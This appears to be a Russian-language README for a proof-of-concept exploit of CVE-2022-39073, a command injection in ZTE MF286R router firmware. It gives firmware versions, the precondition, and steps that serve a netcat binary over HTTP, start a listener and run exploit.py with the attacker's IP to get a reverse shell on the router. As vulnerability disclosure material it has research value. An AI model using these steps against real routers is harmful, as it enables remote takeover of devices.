CVE-2022-39073

Детали прошивки:

wa_inner_version: BD_POSTEMF286RMODULEV1.0.0B12
cr_version: CR_ITPOSTEMF286RV1.0.0B10

Предварительные требования

• requests (pip install requests)

Внедрение команд

Уязвимость представляет собой общее внедрение команд между бинарным файлом zte_net_link_detect и обработчиком WATCH_DOG_SWITCH в веб-сервере бинарного файла goahead.

Обратите внимание, что уязвимость может быть использована только при подключении маршрутизатора к глобальной сети (WAN) или к Интернету через SIM-карту. (Значение ключа "ppp_status" должно быть "ppp_connected", "ipv4_ipv6_connected" или "ipv6_connected").

Риски

• Удаленное выполнение кода (RCE)
• Выполнение произвольных команд

Подтверждение концепции

Идея эксплуатации заключается в загрузке статического бинарного файла netcat с HTTP-сервера и последующем открытии обратного шелла. P.S.: Включенный в эту папку netcat — big endian.

• Откройте HTTP-сервер в этом каталоге: python3 -m http.server 8080
• Откройте прослушивающий сокет на порту 9999 с помощью nc -lvp 9999
• Запустите скрипт из этой папки: python3 exploit.py http://<router> <admin_password> <attacker_ip, напр. 192.168.1.101>

Ссылки

Эта уязвимость была сообщена Андреа Мауджери в сентябре 2022 года. https://support.zte.com.cn/support/news/NewsDetail.aspx?newsId=1028664